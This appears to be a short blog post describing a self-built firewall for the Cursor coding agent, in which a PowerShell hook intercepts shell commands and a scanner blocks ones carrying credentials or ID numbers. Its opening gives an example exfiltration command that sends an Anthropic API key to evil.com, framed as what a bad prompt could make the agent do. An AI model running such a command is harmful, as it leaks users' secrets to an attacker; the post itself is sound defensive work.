How I Built a Real-Time AI Firewall for Cursor

Source: Dev.to

The Problem

AI coding assistants like Cursor run with shell access and your API keys in the environment. One bad prompt and your secrets are gone:

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"

A Windows Electron app that sits between Cursor and the internet:

• Cursor agent tries to run a shell command
• PowerShell hook intercepts it before execution
• pipelock scans it for credentials, SSNs, Aadhaar numbers
• If it matches a rule → BLOCKED
• Live UI shows the alert in real time

The Bug That Took a While

The hardest part wasn’t the security logic — it was a n++ prefix appearing before the JSON that pipelock received. Once I saw it, the fix was simple:

$start = $raw.IndexOf('{')
if ($start -gt 0) { $raw = $raw.Substring($start) }

The Result

Try It Yourself

→

Built with pipelock, Electron, and PowerShell.